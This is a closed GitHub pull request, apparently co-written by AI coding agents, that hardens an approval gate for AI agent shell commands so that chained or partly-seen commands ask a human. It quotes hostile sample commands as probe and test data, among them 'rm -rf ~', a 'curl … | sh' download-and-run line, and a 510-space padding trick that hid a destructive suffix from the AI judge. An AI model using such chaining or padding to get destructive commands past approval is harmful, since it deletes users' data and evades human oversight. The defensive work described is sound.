Skip to content

Ask instead of allowing chained or partly-seen commands - #174

Closed
BunsDev wants to merge 3 commits into
mainfrom
approval-chain-guard
Closed

BunsDev wants to merge 3 commits into
mainfrom
approval-chain-guard

Conversation

@BunsDev

@BunsDev BunsDev commented Oct 11, 2026

Copy link
Copy Markdown
Contributor

Problem

The approval gate (engine/approvals/gate.ts) is off in production (DEFAULT_APPROVAL_GATE.enabled = false). This change has to land before anyone turns it on. Probes against main:

  • matchesRule("Bash: npm test*", …) is true for $ npm test && rm -rf ~, $ npm test; curl https://x.example/i.sh | sh, $ npm test\nrm -rf ~ and $ npm testify-and-push. * becomes .* with the s flag. Claude's approval title is $ plus the full command, and Codex's command title is the raw command.
  • With a match allow rule and that chained action:
    • transport null (Jev not configured): {decision: "allow", source: "match"} with no marker. The receipt does not say Jev was skipped.
    • transport throws: {decision: "allow", downgraded: "jev-unavailable"}.
    • Jev answers destructive 0.97: {decision: "ask", downgraded: "destructive"}. Only a live, correct Jev saved it.
  • Establish approval-rule readiness and defer unproven providers #163's live evaluation allowed npm test + 510 spaces + && rm -rf ./src in all three repeats. digestAction clips commands at MAX_COMMAND = 500, so Jev never saw the destructive suffix.

Change

An allow rule covers one command. A rule-driven allow (exact match or Jev) now becomes ask in two more cases:

Downgrade When
compound The full, unclipped command line of a Bash (Claude), command (Codex) or shell (scripted mock) approval contains ; && || | & (including 2>&1), a backtick, $( <( >( > <, \n or \r. The check reads input.command and the title (minus a leading $ ), and either one chaining is enough. Shell quoting is not parsed, so grep "a|b" asks too. A false positive only means a person is asked.
incomplete digestClipped(action) (new in digest.ts): the scrubbed command is longer than MAX_COMMAND, or the title is longer than MAX_TITLE and is not just the command line. MAX_COMMAND is unchanged.
  • Label order: escalation, then destructive, then compound, then incomplete. Establish approval-rule readiness and defer unproven providers #163's case is both chained and clipped, so it is labelled compound.
  • Never and Ask rules are unaffected: a chained command under a Never rule still refuses.
  • Thread policy (policy.ts): Always allow does not override compound or incomplete (nor destructive/escalation). The check is on the label itself, not only on decision === "ask". YOLO still overrides.
  • Receipt shape: downgraded now holds only real downgrades (ApprovalDowngrade = "destructive" | "escalation" | "compound" | "incomplete"). A separate jevNotConsulted?: true sits on GateDecision, ApprovalReceipt and ApprovalPreview, so "Jev not consulted" can appear next to any downgrade label. It is set whenever the gate needed Jev (unmatched language rules, or a match allow that would get the destructive check) and did not get an answer. That includes the transport-null case, with jevError: "Jev is not configured or unavailable.". Receipts written with the old downgraded: "jev-unavailable" still render, through jevNotConsulted() in shared/approval-receipt.ts.
  • UI:
    • Try it adds "Allow became Ask because the command chains several commands." and "Allow became Ask because Jev could not see the whole command.". Its Jev line now reads "Jev not consulted; …".
    • In the thread, ask cards say "Asked because: the command chains several commands; rule "…" would have allowed it" (or "Jev could not see the whole command"), plus " · Jev not consulted" when that applies.
    • Allow and refusal receipt rows show "· Jev not consulted" and explain that there was no destructive check.
    • companion.ts is unchanged: an ask stays a normal card.
  • Docs:
    • approval-rules.md → Decisions and receipts gets one paragraph: an allow covers one command, chained or redirected commands ask, long commands ask, the receipt notes when Jev was not consulted, and the pattern pair npm test + npm test * is preferred to npm test*.
    • status.md gets one sentence in the existing Approval rules (Jev-gated) entry.
    • The spec is untouched.

Design note on incomplete: a Claude Bash title is $ plus the command, so it goes over MAX_TITLE (200) for any command of 199 to 500 characters. Jev still reads that command whole in command. Counting the clipped title there would ask about every such command and protect nothing, so a title that is exactly the command line counts only through the command's own limit. All other titles (for example WebFetch, or rebuilt edit <path> titles) count when clipped. Paths (MAX_PATH/MAX_PATHS) are not considered; see below.

The gate stays off. Nothing here enables it.

Relation to #163

This complements #163's no-go finding. #163 found six false allows in two cases. This PR closes one of them deterministically: a truncated destructive suffix, and chained suffixes generally, now ask without depending on Jev. It does not address the other case, a test command quoted inside printf (printf 'npm test' style). That is a single command whose meaning depends on quoting, and this guard deliberately does not parse quoting. That case stays a judge-quality and pattern-narrowness problem. The doc edits are kept to one new paragraph and one sentence so they merge cleanly with #163's edits to the same two files (checked with git merge-tree against approval-provider-gates).

Tests and evidence

New and updated unit tests (apps/desktop/test/):

  • approval-gate.test.ts:
    • compound: every shell operator or line break turns a match allow into ask. Covers 14 samples (; && \|\| \| & 2>&1 backtick $( <( >( > < \n \r), each with Jev absent and with Jev live.
    • … turns a Jev allow into ask. Uses a fake transport that answers the rule at 0.95 and destructive at 0.1.
    • single commands still allow, by match and by Jev. Covers npm test and npm test -- --watch, and the npm test + npm test * pair, which does not match npm testify-and-push.
    • Codex command approvals behave the same, with or without input
    • Never and Ask rules are unaffected by the guard
    • the full command is checked, not the digest's clipped copy (PR Establish approval-rule readiness and defer unproven providers #163's truncated suffix). Asserts that Jev's state never contained rm -rf and that the result is still ask/compound.
    • labels: escalation, then destructive, then compound, then incomplete
    • incomplete: a long command Jev only saw in part is asked. Covers a Jev allow, a Codex match, a clipped WebFetch title, a 254-character Bash title that still allows, and Never staying never.
    • Jev not consulted: transport null with a match allow still allows, and the receipt says so
    • Updated: Jev throws, times out, or answers badly now expects jevNotConsulted instead of downgraded: "jev-unavailable".
  • approval-policy.test.ts: policy: Always allow does not override a compound or incomplete downgrade; YOLO does
  • approval-receipt.test.ts: compound and incomplete card lines; a receipt says when Jev was not consulted, next to any downgrade label; older receipts still read
  • approval-preview.test.ts: preview reports a chained sample as compound and an unconfigured Jev as not consulted
  • approval-digest.test.ts: digestClipped: true exactly when Jev would see a clipped command, or a clipped title that is not the command
  • runner.test.ts: a chained command under an allow rule waits for a human, even on an Always allow thread. The existing exact-match receipt assertion now includes jevNotConsulted: true.

E2E (e2e/approvals.spec.ts):

  • The Try it flow checks a chained sample: ask, "Allow became Ask because the command chains several commands.", and "Jev not consulted".
  • The automatic-allow receipt shows "Jev not consulted".
  • New test an allow rule covers one command: a chained shell command asks and says why. A real mock-backend turn runs echo one; touch chained.txt under a shell: echo * allow rule. The card waits and reads exactly Asked because: the command chains several commands; rule "print text" would have allowed it · Jev not consulted. After Deny, the file was not created.

Fails on main. With main's gate.ts restored as-is, approval-gate.test.js fails to load because chainsCommands and JEV_NOT_CONFIGURED are not exported. With only those two exports grafted onto main's gate.ts, and decide() left unchanged, 8 of 21 tests fail: all seven new behaviour tests, plus the updated Jev-unavailable test. For example, ; with Jev absent gives allow / undefined where ask / compound is expected, and the transport-null case gives jevNotConsulted: undefined where true is expected. The two that pass on main are the intended regression guards: plain commands still allow, and Never/Ask rules are unaffected. With main's policy.ts, the new policy test fails, because main returns "yes" for a compound label.

Local runs (macOS, this branch):

Command Result
npm run build ok
npm run typecheck ok
npm test: core / desktop / site / store-desktop 15/15; 677 pass, 1 pre-existing skip, 0 fail (+4/4 browser-dev); 10/10; 12/12
npm test: test:worktrees 74/75 with this session's node, 75/75 with a space-free node (see below)
npm run test:e2e -w @modex/desktop -- e2e/approvals.spec.ts 4/4
npm run test:e2e, desktop 213 passed, 19 failed, 3 skipped (see below)
Failing desktop specs rerun once (agents, browser-document, pages-agents, release, titles, window-lifecycle) 42/42 passed
npm run test:e2e -w @modex/site 7/7

Local failures unrelated to this change. This session's node is ~/Library/Application Support/OpenCoven/CovenCave/toolchains/node/v24.18.0/…/bin/node, a path that contains a space. The fixture CLIs in agents, browser-document, pages-agents, release, titles and scripts/test/worktree-maintenance.test.mjs are written with a #!${process.execPath} shebang. A shebang cannot contain a space, so each fixture fails with "bad interpreter" and its CLI never runs. For example, the fake op reports "1Password could not be read", and the pinned gh observer is never called. None of those files differ from main. With /opt/homebrew/bin first on PATH, the six failing specs pass 42/42 and the worktree suite passes 75/75. The one non-fixture failure, window-lifecycle (native window size did not settle in 15 s), also passed on that rerun. CI decides.

Not covered

  • Paths are not part of incomplete. A fileChange with more than 20 paths, or a path longer than 300 characters, is still judged on a partial list. This is a candidate follow-up, and it would need its own UI wording.
  • The quoted-mention false allow from Establish approval-rule readiness and defer unproven providers #163 (see above).
  • The gate stays off.

✨ Co-authored by Cody, a Coven familiar for Val

An allow rule covers one command. The approval gate, which stays off by
default, now turns a rule-driven allow (exact match or Jev) into an ask
in two more cases:

- compound: the full, unclipped command line of a Bash, command or
  shell approval contains a shell control operator or a line break
  (; && || | & backtick $( < > <( >( CR LF). Shell quoting is not
  parsed. A false positive only means a person is asked.
- incomplete: the digest clipped the command (over MAX_COMMAND) or a
  title that is not just the command line (over MAX_TITLE), so Jev
  judged text it never fully saw. MAX_COMMAND is unchanged.

The labels keep the order escalation, destructive, compound, incomplete.
Never and Ask rules are unaffected. Always allow does not override
compound or incomplete. YOLO still does.

When the gate needed Jev (language rules, or the destructive check on a
match allow) but could not consult it, the decision now says so even
when no transport is configured. It carries jevNotConsulted and the
reason "Jev is not configured or unavailable.", and the receipt shows
"Jev not consulted" next to any downgrade label. `downgraded` now holds
only real downgrades. Receipts written with the old "jev-unavailable"
label still render.

Co-Authored-By: Cody <cody@opencoven.ai>
Coven-Familiar: cody
Coven-Harness: claude-code / claude-opus-5-5
@vercel

vercel Bot commented Oct 11, 2026 •

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated
modex Ready Ready Preview Oct 12, 2026 7:11am UTC

Request Review

BunsDev and others added 2 commits October 12, 2026 02:07
Bring in the seven commits that landed since 42223e2, including the
approval readiness record (8e13d4a) and the iPhone UI test changes.

Co-Authored-By: Nova <nova@opencoven.ai>
Coven-Familiar: nova
Coven-Harness: claude-code / claude-opus-5-5
After merging main, three passages described behaviour this branch changes. The exact-match example said npm test* matches a chained command without saying it now asks. The readiness note listed the truncated-suffix false allow as open, though the guard closes it. The Always allow bullet named only the destructive downgrade.

Each now says chained or partly-seen commands ask, and that the quoted-mention false allow is still open. status.md gets the same note.

Co-Authored-By: Nova <nova@opencoven.ai>
Coven-Familiar: nova
Coven-Harness: claude-code / claude-opus-5-5

This branch was successfully deployed

1 active deployment
Preview — 554235d4 Deployed Oct 12, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant